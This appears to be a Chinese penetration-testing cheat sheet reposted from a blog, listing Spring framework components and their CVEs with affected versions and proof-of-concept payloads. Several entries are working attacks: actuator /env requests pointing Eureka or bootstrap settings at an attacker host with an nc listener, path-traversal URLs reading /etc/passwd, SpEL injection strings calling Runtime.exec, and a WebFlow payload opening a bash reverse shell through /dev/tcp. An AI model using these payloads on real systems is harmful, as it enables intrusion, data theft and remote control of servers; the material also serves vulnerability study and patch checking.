zoukankan      html  css  js  c++  java
  • 渗透测试

    0x01 背景介绍

    Spring是一个开源框架,它由Rod Johnson创建。它是为了解决企业应用开发的复杂性而创建的。Spring使用基本的JavaBean来完成以前只可能由EJB完成的事情。然而,Spring的用途不仅限于服务器端的开发。从简单性、可测试性和松耦合的角度而言,任何Java应用都可以从Spring中受益,Spring是一个轻量级的控制反转(IoC)和面向切面(AOP)的容器框架。


    Spring集合:

    1】Spring JDBC 
    
    2】Spring MVC Springmvc是Springframework里面的一个组件,用于javaee开发过程中的控制层。
    3】Spring Security --Spring Security OAuth Spring Security OAuth是为Spring框架提供安全认证支持的一个模块,主要分为授权服务 Authorization Service.资源服务 Resource Service.这次漏洞主要是由用户使用Whitelabel views来处理错误时,攻击者在被授权的情况下可以通过构造恶意 SpEL表达式来远程执行命令
    4】Spring AOP
    5】Spring ORM
    6】Spring Test
    7】Spring WebFlow Spring WebFlow构建于Spring MVC之上,允许实现Web应用程序的“流程”。流程封装了一系列步骤,指导用户执行某些业务任务。 它的最佳位置是具有受控导航功能的有状态Web应用程序,例如购物逻辑,向表单添加确认步骤等。如果我们控制了数据绑定时的field,构造恶意 SpEL表达式来远程执行命令。
    8】 Spring Data Spring Data是对数据访问的更高抽象。通过它,开发者进一步从数据层解放出来,更专注于业务逻辑,是一个用于简化数据库访问,并支持云服务的开源框架。
    8-1】Spring Data REST Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中,path的值被传入setValue,导致执行了恶意SpEL表达式,触发远程命令执行漏洞。
    8-2】Spring Data Commons Spring Data Commons是Spring Data Repository抽象。使用Spring Data Repository可以极大地减少数据访问层的代码。当用户在项目中利用了Spring-data的相关web特性对用户的输入参数进行自动匹配的时候,会将用户提交的form表单的key值作为SpEL表达式进行注入,攻击者可以注入恶意SpEL表达式以执行任意命令。 【9】spring messaging spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS, 用STOMP协议将数据组合成一个文本流,简单来说用sockjs协议发送文本流,sockjs会选择一个合适的通道:websocket(NEW)或ajax(OLD)进与后端通信。由于selector用SpEL表达式编写,并使用StandardEvaluationContext解析(权限太大),造成命令执行漏洞。 【10】 Spring Cloud Spring Cloud是一整套基于Spring Boot的微服务解决方案,为开发者提供了很多工具,用于快速构建分布式系统的一些通用模式。
    10-1】 Spring Cloud data flow
    10-2】 Spring Cloud Config Spring Cloud Config为分布式系统中的外部化配置提供服务器和客户端支持。 使用Config Server,您可以在所有环境中管理应用程序的外部属性。
    10-3】Spring Cloud Eureka SpringCloud封装了Netflix公司开发的Eureka模块来实现服务注册与发现,Eureka采用了C/S设计架构,Eureka Server作为服务注册功能的服务器,它是服务注册中心。而系统中的其他微服务,使用Eureka Client连接到Eureka Server并维持心跳连接,这样系统的维护人员就可以通过Eureka Server来监控系统中的各个微服务是否正常运行,SpringCloud的一些其他模块(例如Zuul)就可以通过Eureka Server来发现系统中的其他微服务,并执行相关的逻辑。 【11】Spring Boot Spring Boot 是 Spring 的一套快速配置脚手架,可以基于spring boot 快速开发单个微服务。
    11-1】Spring Boot actuator SpringBoot自带监控功能Actuator,可以帮助实现对程序内部运行情况监控。 【12】 Springframework Springframework 是sping 里面的一个开源框架,主要用户javaee的企业开发。 【13】 Spring integration
    14】Spring batch
    15】Spring hateoas
    16】Jolokia Jolokia是一个利用JSON通过Http实现JMX远程管理的开源项目,可在Spring Boot项目中使用。
    17】Logback Logback是由log4j创始人设计的另一个开源日志组件,用于取代log4j,官方网站: http://logback.qos.ch。 Logback默认配置文件: logback-test.xml(如果文件不存在,则查找文件logback.xml)

    WooYun-2016-226888 - Spring Boot框架存在SPEL表达式注入通用漏洞(未找到相关资料)

    Spring Boot + Spring cloud PID漏洞

    (1)
    GET /env HTTP/1.1 Host: xx.xx.xx.28:8090 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: zh-CN,zh;q=0.9 Cookie: csrftoken=mA7PD6I8fuBUtju2kgVyc7z4c2R3sSFGA2sB7GclbXYHf2u8a4zoYisrNu43oebb Connection: close Content-Length: 70 eureka.client.serviceUrl.defaultZone=http://${PID}@xx.xx.xx.226:6666/

    (2)nc监听
    nc -lvp 6666

    (3)refresh

    (4)base64解码获取属性
    echo xxx | base64 -d

    Spring Boot + Spring Cloud(spring Cloud env yaml利用)

    当spring boot使用Spring Cloud 相关组件时,会存在spring.cloud.bootstrap.location属性,通过修改 spring.cloud.bootstrap.location 环境变量实现 RCE

    • 利用范围

    Spring Boot 2.x 无法利用成功
    Spring Boot 1.5.x 在使用 Dalston 版本时可利用成功,使用 Edgware 无法成功
    Spring Boot <= 1.4 可利用成功

    (1)
    https://github.com/artsploit/yaml-payload(修改重打包)

    (2)
    GET /env HTTP/1.1 Host: xx.xx.xx.xx:8090 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: zh-CN,zh;q=0.9 Cookie: csrftoken=mA7PD6I8fuBUtju2kgVyc7z4c2R3sSFGA2sB7GclbXYHf2u8a4zoYisrNu43oebb Connection: close Content-Length: 75 spring.cloud.bootstrap.location=http://xx.xx.xx.xx/yaml-payload.yaml

    (3)/refresh

    CVE-2020-5405 Spring Cloud Config路径穿越导致的信息泄露

    影响版本:spring-cloud-config-server < 2.2.2

    CVE-2020-5398

    Date:
    2020.1
    
    类型:
    RFD
    
    影响范围:
     
    versions 5.2.x prior to 5.2.3, versions 5.1.x prior to 5.1.13, and versions 5.0.x prior to 5.0.16
    poc: $ curl
    'http://127.0.0.1:8080/?filename=sample&contents=Hello,%20World' --dump-header -

    CVE-2019-11269 Spring Security OAuth 开放重定向

    影响版本:
    
    Spring Security OAuth 2.3至2.3.5
    Spring Security OAuth 2.2至2.2.4
    Spring Security OAuth 2.1至2.1.4
    Spring Security OAUth 2.0至2.0.17

    CVE-2020-5410

    影响版本
    • Spring Cloud Config: 2.2.0 to 2.2.2
    • Spring Cloud Config: 2.1.0 to 2.1.8
    
    http://127.0.0.1:8089/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23/111
    http://127.0.0.1:8089/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23/111/222

    Spring Cloud Config目录遍历漏洞(CVE-2019-3799)

    Date
    2019
    
    类型
    任意文件读取
    
    影响范围
    Spring Cloud Config 2.1.0 to 2.1.1
    Spring Cloud Config 2.0.0 to 2.0.3
    Spring Cloud Config 1.4.0 to 1.4.5
    
    poc
    /test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd

    CVE-2019-3778 Spring Security OAuth 开放重定向

    影响版本:
    Spring Security OAuth 2.3 to 2.3.4
    Spring Security OAuth 2.2 to 2.2.3
    Spring Security OAuth 2.1 to 2.1.3
    Spring Security OAuth 2.0 to 2.0.16

    CVE-2018-15758 spring-security-oauth2权限提升

    影响版本:
    Spring Security OAuth 2.3至2.3.3
    Spring Security OAuth 2.2至2.2.2
    Spring Security OAuth 2.1至2.1.2
    Spring Security OAuth 2.0到2.0.15

    CVE-2018-1273

    Date
    2018
    
    类型
    SpEL表达式注入漏洞
    
    影响范围
    Spring Data Commons  < 2.0.5
    
    poc
    username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("ping xxx.dnslog.cn")]=xxx&password=123456&repeatedPassword=123456

    CVE-2018-1272

    (在Spring MVC或者WebFlux应用把客户端请求再转向另一台服务器的场景下,攻击者通过构造和污染Multipart类型请求,可能对另一台服务器实现权限提升攻击)

    Spring MVC 目录穿越漏洞(CVE-2018-1271)

    Date
    2018.4
    
    类型
    任意文件下载
    影响范围 Spring Framework
    5.0 to 5.0.4. Spring Framework 4.3 to 4.3.14 已不支持的旧版本仍然受影响 前置条件 Server运行于Windows系统上 要使用file协议打开资源文件目录 poc http://localhost:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini

    Spring Messaging 远程命令执行漏洞(CVE-2018-1270)

    Date
    2018
    
    类型
    RCE
    影响范围 poc selector:
    new java.lang.ProcessBuilder("touch /tmp/sucesss").start()

    Spring-Integration-Zip 任意文件写入漏洞 Unsafe Unzip with spring-integration-zip(CVE-2018-1261)

    Date
    2018
    
    类型
    任意文件写入漏洞
    
    影响范围
    Spring-Integration-Zip Community Extension Project Version 1.0.0

    CVE-2018-1263 (Spring-Integration-Zip 任意文件写入漏洞  没找到相关案例,阿里先知有一篇分析)

    Spring-Security-OAuth2 远程代码执行漏洞(CVE-2018-1260)

    Date
    2018
    
    类型
    RCE
    影响范围 Spring Security Oauth
    2.3.x < Spring Security Oauth 2.3.3 Spring Security Oauth 2.2.x < Spring Security Oauth 2.2.2 Spring Security Oauth 2.1.x < Spring Security Oauth 2.1.2 Spring Security Oauth 2.0.x < Spring Security Oauth 2.0.15 以及不受支持的旧版本

    Spring Data 框架使用XMLBean产生XXE漏洞(CVE-2018-1259)

    Date
    2018
    
    类型
    XXE
    
    影响范围
    Spring Data Commons 1.13.x < Spring1.13.12
    Spring Data Commons 2.0.x <  Spring2.0.7
    Spring Data REST 2.6.x < Spring Data REST 2.6.12
    Spring Data REST 3.0.x < Spring Data REST 3.0.7
    
    poc

    CVE-2018-1258 Spring Security未经授权的访问(未找到公开poc)

    影响版本:Spring Framework 5.0.5.RELEASE和Spring Security(任何版本)

    Spring Messaging组件中存在漏洞可导致正则表达式拒绝服务攻击(CVE-2018-1257)

    Date
    2018
    
    类型
    DOS
    
    影响范围
    Spring5.0.x < Spring5.0.6
    Spring4.3.x < Spring4.3.17
    以及不在收支持的版本
    
    poc

    CVE-2017-8046

    Date
    2017
    
    类型
    SPEL表达式注入 影响范围

    Spring Data REST 2.5.12, 2.6.7, 3.0 RC3之前的版本

    
    

    Spring Boot 2.0.0M4之前的版本

    
    

    Spring Data release trains Kay-RC3之前的版本


    poc
    [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{111,112,101,110,32,47,65,112,112,108,105,99,97,116,105,111,110,115,47,67,97,108,99,117,108,97,116,111,114,46,97,112,112}))/lastName", "value": "vulhub" }]

    CVE-2017-8045 Spring Amqp中的远程代码执行

    影响版本:1.7.41.6.11和1.5.7之前的Spring AMQP版本

    Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)

    Date
    2017
    
    类型
    RCE
    影响范围 poc _(
    new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/ip/端口 0>&1")).start()=hellowrod(要url编码,因为有特殊符号)

    CVE-2016-6652 Spring Data JPA SQL盲注(未找到相关资料)

    影响版本:Spring Data JPA 1.10.21.9.4

    CNVD-2016-04742 Spring Boot框架SPEL表达式注入漏洞

    (1)影响版本:1.1.0-1.1.121.2.0-1.2.71.3.0

    (2)至少知道一个触发 springboot 默认错误页面的接口及参数名


    补丁:philwebb committed on 15 Dec 2015
    https://github.com/spring-projects/spring-boot/commit/edb16a13ee33e62b046730a47843cb5dc92054e6

     

    Spring Security OAuth2.0 (CVE-2016-4977)

    Date
    2016
    
    类型
    EL表达式注入导致RCE
    
    影响范围
    Spring Security OAuth2.0
    前置条件
    登录
    
    poc:
    http://127.0.0.1:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test

    CVE-2016-2173 Spring AMQP中的远程代码执行

    影响版本:1.0.0至1.5.4

    Spring WebFlow 远程代码执行漏洞 CVE-2017-8039(https://www.chaosec.com/?p=754)

     

    CVE-2014-3578 Spring Framework 目录遍历漏洞 (未找到相关资料)

    影响版本:
    Spring Framework:
    - 3.0.4 to 3.2.11
    - 4.0.0 to 4.0.7
    - 4.1.0 to 4.1.1

    CVE-2014-0097 Spring Security认证绕过(未找到相关资料)

    影响版本:Spring Security 3.2.0至3.2.1和3.1.0至3.1.5

    CVE-2014-3527 Spring Security验证绕过漏洞(未找到相关资料)

    SpringSource Spring Security 3.1-3.2.4

    CVE-2013-7315 Spring Framework中的XML外部实体(未找到相关资料)

    影响版本:3.2.0至3.2.34.0.0.M1-4.0.0.M2(Spring MVC)

    CVE-2013-4152 Spring Framework中的XML外部实体(XXE)注入

    影响版本:
    3.0.0至3.2.34.0.0.M1

     (https://blog.csdn.net/dingodingy/article/details/84495877) 

    CVE-2010-1622 Spring Frame class.classLoader类远程代码执行

    Date
    2010
    
    类型
    远程代码执行
    
    影响范围
    Spring Framework 3.0.0-3.0.2
    Spring Framwork 2.5.0-2.5.7

    (Spring Framework class.classLoader类远程代码执行 https://www.inbreak.net/archives/377)

    (未找到公开poc)

  • 相关阅读:
    在日本被禁止的コンプガチャ設計
    Starling常见问题解决办法
    Flixel引擎学习笔记
    SQLSERVER中修复状态为Suspect的数据库
    T4 (Text Template Transformation Toolkit)实现简单实体代码生成
    创建Linking Server in SQL SERVER 2008
    Linq to Sql 与Linq to Entities 生成的SQL Script与分页实现
    Linq to Entity 的T4 模板生成代码
    在VisualStudio2008 SP1中调试.net framework 源代码
    使用HttpModules实现Asp.net离线应用程序
  • 原文地址:https://www.cnblogs.com/AtesetEnginner/p/12590577.html
Copyright © 2011-2022 走看看